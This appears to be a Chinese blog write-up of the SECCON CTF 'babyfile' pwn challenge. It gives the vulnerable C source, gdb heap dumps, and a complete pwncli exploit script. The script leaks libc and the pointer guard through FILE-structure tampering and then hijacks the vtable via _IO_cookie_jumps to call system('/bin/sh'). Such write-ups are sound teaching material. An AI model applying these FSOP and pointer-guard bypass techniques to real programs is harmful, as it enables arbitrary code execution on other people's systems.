[seccon pwn] babyfile 复现

终于找到WP,按着一点点学习IO_file结构

这个题目给了源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static int menu(void);
static int getnline(char *buf, int size);
static int getint(void);

#define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1)

int main(void){
	FILE *fp;

	alarm(60);

	write_str("Play with FILE structure\n");

	if(!(fp = fopen("/dev/null", "r"))){
		write_str("Open error");
		return -1;
	}
	fp->_wide_data = NULL;

	for(;;){
		switch(menu()){
			case 0:
				goto END;
			case 1:
				fflush(fp);
				break;
			case 2:
				{
					unsigned char ofs;
					write_str("offset: ");
					if((ofs = getint()) & 0x80)
						ofs |= 0x40;
					write_str("value: ");
					((char*)fp)[ofs] = getint();
				}
				break;
		}
		write_str("Done.\n");
	}

END:
	write_str("Bye!");
	_exit(0);
}

static int menu(void){
	write_str("\nMENU\n"
			"1. Flush\n"
			"2. Trick\n"
			"0. Exit\n"
			"> ");

	return getint();
}

static int getnline(char *buf, int size){
	int len;

	if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0)
		return -1;

	if(buf[len-1]=='\n')
		len--;
	buf[len] = '\0';

	return len;
}

static int getint(void){
	char buf[0x10] = {};

	getnline(buf, sizeof(buf));
	return atoi(buf);
}

他先生成了一个IO_file结构在堆里,然后允许修改,但其它地址都没有给出(包含堆地址,只允许按结构的偏移改)。

看了WP学了好多东西

1,先修改IO_jump_t->vtable 这里指向的vtable 给他+8然后作一次flush,他会把堆地址放入到IO结构里,然后再改恢复原状。

#!/usr/bin/env python3
# Date: 2022-10-24 16:33:10
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : py babyfile.py debug ./babyfile -b malloc
#     Remote: py babyfile.py remote ./babyfile ip:port

# debug in Ubuntu 22.04
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def flush():
    sla('> ', '1')

def edit(offset, val):
    sla('> ', '2')
    sla("offset: ", str(offset))
    sla("value: ", str(val))

def change(offset, val):
    val = p64(val)
    for i,v in enumerate(val):
        edit(offset+i, v)

def ROL(v,k):
    return ((v<<k)|(v>>(64-k)))&((1<<64)-1)

#edit vtable A0->A8  
#_IO_buf_base,_IO_buf_end == heap_addr
edit(0xd8, 0xa8)
flush()
'''
gef➤  x/40gx 0x000055bc216812a0
0x55bc216812a0: 0x00000000fbad2488      0x0000000000000000
0x55bc216812b0: 0x0000000000000000      0x0000000000000000
0x55bc216812c0: 0x0000000000000000      0x0000000000000000
0x55bc216812d0: 0x0000000000000000      0x0000000000000000
0x55bc216812e0: 0x0000000000000000      0x0000000000000000
0x55bc216812f0: 0x0000000000000000      0x0000000000000000
0x55bc21681300: 0x0000000000000000      0x00007f01477bb5c0
0x55bc21681310: 0x0000000000000003      0x0000000000000000
0x55bc21681320: 0x0000000000000000      0x000055bc21681380
0x55bc21681330: 0xffffffffffffffff      0x0000000000000000
0x55bc21681340: 0x0000000000000000      0x0000000000000000
0x55bc21681350: 0x0000000000000000      0x0000000000000000
0x55bc21681360: 0x0000000000000000      0x0000000000000000
0x55bc21681370: 0x0000000000000000      0x00007f01477b74a0  <- a8

0x562cde9a02a0: 0x00000000fbad2488      0x0000000000000000
0x562cde9a02b0: 0x0000000000000000      0x0000000000000000
0x562cde9a02c0: 0x0000000000000000      0x0000000000000000
0x562cde9a02d0: 0x0000000000000000      0x0000562cde9a0480  <- heap addr 
0x562cde9a02e0: 0x0000562cde9a2480      0x0000000000000000
0x562cde9a02f0: 0x0000000000000000      0x0000000000000000
0x562cde9a0300: 0x0000000000000000      0x00007ff70f6765c0
0x562cde9a0310: 0x0000000000000003      0x0000000000000000
0x562cde9a0320: 0x0000000000000000      0x0000562cde9a0380
0x562cde9a0330: 0xffffffffffffffff      0x0000000000000000
0x562cde9a0340: 0x0000000000000000      0x0000000000000000
0x562cde9a0350: 0x0000000000000000      0x0000000000000000
0x562cde9a0360: 0x0000000000000000      0x0000000000000000
0x562cde9a0370: 0x0000000000000000      0x00007ff70f6724a8

gef➤  heap chunks
Chunk(addr=0x562cde9a0010, size=0x290, flags=PREV_INUSE)
    [0x0000562cde9a0010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x562cde9a02a0, size=0x1e0, flags=PREV_INUSE)
    [0x0000562cde9a02a0     88 24 ad fb 00 00 00 00 00 00 00 00 00 00 00 00    .$..............]
Chunk(addr=0x562cde9a0480, size=0x2010, flags=PREV_INUSE)
    [0x0000562cde9a0480     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x562cde9a2490, size=0x1eb80, flags=PREV_INUSE)  ←  top chunk
'''

edit(0xd8, 0xa0) #change back
edit(8*5, 0x40) #_IO_write_base!=_IO_write_ptr
flush()

2,这时候IO_file里就有了好多堆地址指针,第二步就是泄露这个地址。

        先在+14*8处写入文件id,这里要泄露所以写1到标准输出

        然后是+4*8,+5*8处的write_base,write_ptr输入的起止地址

        最后修改+2*8处的IO_read_end让他与write_base相同

        这里泄露的是IO_wfile_jumps地址,根据偏移就能得到libc

edit(8*14, 1) #fileno
edit(8*5, 0x78) #write_ptr
edit(8*4, 0x70) #write_base
edit(8*2, 0x70) #_IO_read_end = write_base
'''
gef➤  x/40gx 0x556def01c2a0
0x556def01c2a0: 0x00000000fbad24a8      0x0000556def01c480
0x556def01c2b0: 0x0000556def01c470      0x0000556def01c480 #2 _IO_read_end
0x556def01c2c0: 0x0000556def01c470      0x0000556def01c478 #4 write_base #5 write_ptr
0x556def01c2d0: 0x0000556def01e480      0x0000556def01c480
0x556def01c2e0: 0x0000556def01e480      0x0000000000000000
0x556def01c2f0: 0x0000000000000000      0x0000000000000000
0x556def01c300: 0x0000000000000000      0x00007f42c711f5c0
0x556def01c310: 0x0000000000000001      0x0000000000000000  #14 fileno
0x556def01c320: 0x0000000000000000      0x0000556def01c380
0x556def01c330: 0xffffffffffffffff      0x0000000000000000
0x556def01c340: 0x0000000000000000      0x0000000000000000
0x556def01c350: 0x0000000000000000      0x0000000000000000
0x556def01c360: 0x0000000000000000      0x0000000000000000
0x556def01c370: 0x0000000000000000      0x00007f42c711b4a0
'''
flush()
lb = recv_current_libc_addr(0x1e8f60)  #0x7fe2b0dd1f60 <_IO_wfile_jumps>
set_current_libc_base_and_log(lb)

3,得到__pointer_chk_guard,由于这里写的值是由__pointer_chk_guard保护的,所以要先得到这个值。这个值与canary在canary值后边,可以在内存里找到。

它的加密方式是与原值异或或循环左移17位。

泄露的方法与前面相同,就是修改+4*8处的write_base,和+5*8处的write_ptr还有+2*8处的IO_read_end

#get __pointer_chk_guard 
#0x7f9762bc55e8: 0xd02162c95479db00 (canary)  0x65643a3a6269cd1b (__pointer_chk_guard)
chk_guard_addr = lb + 0x1f35f0 #remote 0x1f35f0
change(8*5, chk_guard_addr +8) #write_ptr
change(8*4, chk_guard_addr) #write_base
change(8*2, chk_guard_addr) #_IO_read_end = write_base

flush()
chk_guard_val = u64(rn(8))
log_ex(hex(chk_guard_val))

4,最后改IO_jump_t->vtable指向IO_cookie_jumps+0x18然后在+e0,+f0处分别写bin/sh+0x100000000(这里为什么高位整形要加1,师傅也没说,反正以后也只能画瓢,不用多管)和与_pointer_chk_guard加密过的system

system_val = ROL(chk_guard_val^libc.sym.system , 17)
_IO_cookie_jumps = lb + 0x1e8a20
bin_sh = next(libc.search(b'/bin/sh'))
change(0xf0, system_val)
change(0xd8, _IO_cookie_jumps + 0x18)
change(0xe0, bin_sh - 0x100000000) #
flush()

ia()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值